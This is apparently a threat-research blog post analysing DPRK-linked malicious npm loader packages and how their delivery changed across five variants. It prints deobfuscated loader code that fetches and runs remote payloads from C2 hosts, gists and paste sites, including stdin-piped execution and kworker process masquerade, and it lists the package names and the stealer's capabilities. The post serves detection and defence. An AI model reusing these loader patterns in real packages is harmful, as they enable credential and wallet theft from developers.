Same Loader, New Front Doors
Tracking a DPRK Contagious Interview npm loader through five delivery methods
Since the start of the month I have been hunting a payload that caught my eye. What pulled me in was the IP behind it, which had been attributed to Contagious Interview, the DPRK operation. I was not very familiar with them or their tactics, so if you are not either, here they are.
Contagious Interview is their long running campaign. They pose as recruiters, lure developers into fake interviews, and get them to run trojanized code during a coding test, dropping malware that steals credentials and crypto wallets.
In this case I am looking at a cluster of npm packages that act as loaders for a second stage RAT. The packages kept changing names, scopes, and versions, and more interestingly they kept changing the way they staged and executed their payload. The thing underneath barely moved.
A note on attribution first. The C2 these loaders talk to is associated through VirusTotal community reporting with FAMOUS CHOLLIMA, the DPRK crew behind Contagious Interview. I keep the language at associated with or possible overlap on purpose, because the actor tie comes from shared C2 intelligence rather than from any independent attribution I can stand behind myself. Everything below inherits that hedge.
Front door #1: The baseline behavior
The first packages all did the same small, ugly thing on execution:
npm install socket.io-client
fetch second stage from a shared C2
drop it as 0001.dat
execute it with NodeIn the loader itself that looks like this:
execSync('npm install axios socket.io-client --no-warnings --no-save --no-progress --loglevel silent',
{ windowsHide: true, cwd: os.tmpdir() });
// Link defanged for this post
axios.get('hxxp://144.172.117[.]57/api/service/77a74c827c6d81b73957a230f9439487')
.then(H => {
const I = path.join(os.tmpdir(), '0001.dat');
fs.writeFileSync(I, H.data, { flag: 'w+' });
execSync('node 0001.dat', { windowsHide: true, cwd: os.tmpdir() });
});
That is the whole shape. A loader that pulls a socket.io-client dependency at runtime, reaches out to a hardcoded C2, writes the payload to disk as 0001.dat, and hands it to Node. The socket.io-client pull is the tell that the second stage is a socket.io based RAT that holds a persistent channel and waits for tasking.
I found the first cluster with the least invasive tool I could build: a metadata only sweep of recent npm publishes. No installs, no require, no execution. It scored recently published packages for structural resemblance to that first loader set:
tiny package size
low file count
empty or generic metadata
default npm test script
generic developer tooling naming
suspicious package scopes
known naming token overlapThe naming convention was the loudest signal. These packages dress up in the most boring developer tooling vocabulary available: node, sql, create, api, auth, sdk, middleware, bootstrap, search, string, pull, stitched into names that look like something already in your package.json. The sweep surfaced the first group:
xnder-sdk-js
express-initial
@array-util/nodepull
@array-util/subsearch
bubblesearchConfirming it’s one thing wearing different masks
Naming alone is a weak hook. Names are free to change, and they did. So once I had reviewed the first packages, I rewrote the detection around the part that was not free to change, the behavior chain:
socket.io-client + axios
hardcoded C2
/api/service/ fetch path
tmpdir staging
0001.dat
child_process / node executionThat behavioral target tied the second cluster back to the first even though the names and versions were new. Same obfuscated JavaScript, same C2 IP, same /api/service/ path, same 0001.dat drop, same Node execution:
@apiwizards/api-client@3.2.0
@apiwizards/auth-middleware@5.1.1
@apiwizards/company-auth-sdk@4.5.0
bubblestring@1.1.4
subsearch@1.0.3To actually prove the same code sat under both, I needed to see through the obfuscation. The samples were wrapped in obfuscator.io style JavaScript, so I built a static deobfuscation helper that decoded the string arrays and recovered the loader structure without running anything. That constraint mattered. The tooling never installed, imported, or executed a sample. It just let me line two packages up side by side and confirm they were the same loader behind different wrappers.
At this point the picture was stable. One loader, one second stage behavior, several disposable package names. That stability set up everything that followed, because once I knew what the constant was, every change to how it arrived became a signal instead of noise.
Front door #2: the require chain
The next variation broke my assumption that the dropper lived in index.js.
Here the malicious code was not in the entrypoint. One package pulled the dropper from a GitHub gist, the same dropper from the earlier samples, and the other packages simply required that malicious package. The outer packages could look entirely normal on their own, doing plausible things, while the part that actually fetched and ran the loader was a dependency one level down.
That forced the detection logic to move. The suspicious condition was no longer a package with an obvious malicious install script. It became a package that imports another package that contains or retrieves the loader. The review had to drop a level, to what a package pulls in rather than what its own entrypoint does. That surfaced this group:
@antoncarlos1/nodelamp
@sqlite-node/createsql
@sql-trigger/nodesql
@node-cloud/create
@bootstrap-utilsThere is a forward looking reason this shift makes sense for the actor, not just for me. npm v12, expected to ship next month, defaults allowScripts off, which makes lifecycle hook execution harder. If preinstall and postinstall stop firing on their own, moving execution into the require chain is the natural adaptation: one malicious package, required by the others, running when the code actually gets used instead of at install time. Worth watching whether this becomes the usual pattern once v12 lands.
Front door #3: staged as SVG
Once I had a stable, distinctive line out of the obfuscated payload, I used it as a pivot. GitHub code search, looking for that string anywhere it appeared, not just inside npm entrypoints.
It turned up two repositories, and this time the payload was not staged as JavaScript at all. It was sitting inside .svg files. The two SVGs shared a hash with each other and pointed at a new C2 IP relative to the earlier loaders.
The same loader had now shown up through three different delivery methods.
index.js
gist
.svgThe SVG angle matters because it moves the payload into something a reviewer treats as a static asset. An SVG reads as an image. Nobody opens the image files in a repo expecting to find the same JavaScript loader they would scrutinize in a .js file.
Front door #4: jsonkeeper paste piped to stdin
The fourth method came out of reading hardcoded config values instead of code paths.
One package carried a value named DEV_API_KEY. It did not behave like an API key. It was a base64 URL. Decoded, it pointed at a jsonkeeper[.]com paste. The package fetched that JSON, pulled the actual payload out of the JSON cookie field, spawned a detached Node process, and piped the payload straight into it over stdin.
const axios = require('axios');
const { spawn } = require('child_process');
const DEV_API_KEY = "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0JONzdL";
// atob(DEV_API_KEY) decodes to a jsonkeeper[.]com paste url
const getThetaInterface = async () => {
const s1 = (await axios.get(atob(DEV_API_KEY))).data.cookie;
const child = spawn('node', [], { detached: true, stdio: ['pipe', 'ignore', 'ignore'] });
child.stdin.write(s1);
child.stdin.end();
child.unref();
};
module.exports = { getThetaInterface };The reason this one is sneaky is that the payload never has to land as a .js file on disk. It arrives as JSON, lives in memory, and executes through stdin. There is nothing on the filesystem that looks like the malicious script.
This became one of the strongest behavioral detections I have. What it matches is an execution primitive: fetch a remote blob, extract a payload field, spawn node, pipe it into stdin, detach. Package name, hosting provider, and file extension can all change and that shape holds.
The pointer keeps hiding in plain sight
The jsonkeeper sample established the trick of stashing a base64 bootstrap pointer inside a hardcoded value that looks like ordinary config. The next package showed that the disguise rotates while the trick stays the same.
In mongoose-json-format the payload data was again base64, again sitting in a hardcoded value that presents as something normal. This time the value looked like a hash. Last time it had looked like an API key. Simple, and easy to miss at first glance, which is the point. You cannot grep for the suspicious looking constant when the whole technique is making the constant look unsuspicious. The durable signal is dataflow: an innocuous looking hardcoded string that decodes to a URL or a payload and then gets fetched or executed.
const HASH_KEY = "aHR0cHM6Ly93d3d3..."; // base64, atob'd and fetched at runtime
async createLog() {
try {
const response = await fetch(atob(HASH_KEY));
// ...
}
}Where it is now: the layered chain (react-check-error)
The most recent sample is the most layered version of all of this, and it is where the thread currently sits.
Another hardcoded IP came back clean on VirusTotal, with only the community comments tying it to FAMOUS CHOLLIMA. Clean VT on a fresh IP is the normal case here, not the exception, which is the whole argument for not leaning on IOCs. The package is delivered the same social way: a GitHub repo presented as a coding test, a setup flow that tells the candidate to run npm install, and the malicious package waiting in devDependencies, react-check-error.
What escalated is the staging. It opens as an obfuscated hex byte array, the same hide it in a hardcoded value move taken further, which decodes to another encoded blob, which points to a jsonkeeper link, whose contents are themselves obfuscated, which points to a GitHub gist holding yet more obfuscated JavaScript. The hex decode looks like this:
function deriveSeed() {
const _d = [42, 226, 119, 118, 20, 169, 117, 215, 183, 194, 55, 224, 155, 44, 190, 9 /* ...truncated... */];
const _t = _sbox(0x9E3779B1, _d.length);
return _d.reduce((r, b, i) => {
let x = (b ^ _t[i]) & 0xff;
x = (x - ((i * 73 + 41) & 0xff)) & 0xff;
return r + String.fromCharCode(((x << 3) | (x >> 5)) & 0xff);
}, '');
}Peel the layers and the picture sharpens from a loader into a full agent. The final stage spawns the agent through process.execPath with an inline eval that pulls from a gist, and it goes out of its way to hide:
const { spawn: _0x3cedc9 } = require("child_process");
const _0x125599 =
"\n require(\"axios\")\n .get(\"hxxps://gist.githubusercontent[.]com/brendanreilly1995/56ccd368682054d39a522bd443e816f3/raw\")\n .then(res => { eval(res.data); });\n";
const _0x5a73a7 = _0x3cedc9(process.execPath, ["-e", _0x125599], {
argv0: "[kworker/0:0]",
env: { ...process.env, MMSCRIPT_CHILD: "1" },
detached: true,
stdio: "ignore"
});
_0x5a73a7.unref();Two details there are worth saying out loud, because they make good detection content. The child sets argv0 to [kworker/0:0] so it shows up in a process list dressed as a kernel worker thread, and it tags itself with a MMSCRIPT_CHILD environment marker. Both are cheap, specific behaviors to hunt on.
We already knew the cluster used socket.io. This payload gives a clearer look at what the operator can actually do. Visible capabilities:
password collection
browser data collection
token theft
crypto wallet targeting
screenshot capture
Telegram / LevelDB collection
developer secret collection
arbitrary file browsing and uploadIt registers the victim machine, receives operator commands, and supports targeted exfiltration across wallets, Telegram data, LevelDB files, developer secrets, screenshots, and arbitrary file paths. The screenshot capability is the one that stands out, because it is the marker that separates stealing what is already stored from watching what the developer does next. By this point you are looking at the full agent rather than a loader reaching for one.
I pulled up the GitHub profile behind the gist, and it tells the story on its own. The repo is a Web3 backend engineer coding test whose setup step has you npm install the very package that carries the loader.
By the time I went back to report the package, Socket had already flagged it as part of an ongoing cluster tied to Contagious Interview.
The throughline
The interesting part is the delivery evolution against a fixed core. Several front doors, one loader:
1. direct index.js loader
2. gist loaded dropper via require chain
3. SVG staged payload
4. jsonkeeper paste + stdin execution
5. multi layer hex chain to a socket.io agent (react-check-error)Running underneath the later ones is a single concealment idea that kept escalating: a base64 or hex bootstrap hidden in a hardcoded value dressed up as something harmless, a URL, then an API key, then a hash, then a byte array.
And the way each finding surfaced the next:
package names + metadata > first npm loader cluster
shared loader behavior > second package cluster
static deobfuscation > confirmed same code under obfuscation
require chain review > gist loaded package pattern
GitHub code search pivot > SVG staged payload
hardcoded config review > jsonkeeper + stdin execution, then the hash disguiseIOCs helped. The C2 IPs, the hashes, 0001.dat, the /api/service/ path all did real work connecting samples. But IOCs are the disposable layer. They are cheap for the actor to rotate, and a clean VirusTotal result on a fresh IP is the baseline. The detections that kept earning their keep were behavior and dataflow:
remote fetch
payload recovery from an innocuous looking value
Node execution
socket.io-client C2/RAT channel
require chain execution
stdin based in memory execution
process masquerade (argv0 [kworker/0:0], MMSCRIPT_CHILD)Package names changed. Delivery methods changed. The loader kept doing the same thing. That is the durable surface to detect on. A public tracker can count the packages at aggregate scale, which is useful, but the behavior is what you write detections against, and that only comes from taking the samples apart.
Package reference
Packages tied to these findings, with the usual hedge that names and versions are disposable:
xnder-sdk-js
express-initial
@array-util/nodepull
@array-util/subsearch
bubblesearch
@apiwizards/api-client@3.2.0
@apiwizards/auth-middleware@5.1.1
@apiwizards/company-auth-sdk@4.5.0
bubblestring@1.1.4
subsearch@1.0.3
@antoncarlos1/nodelamp
@sqlite-node/createsql
@sql-trigger/nodesql
@node-cloud/create
@bootstrap-utils
mongoose-json-format
react-check-error


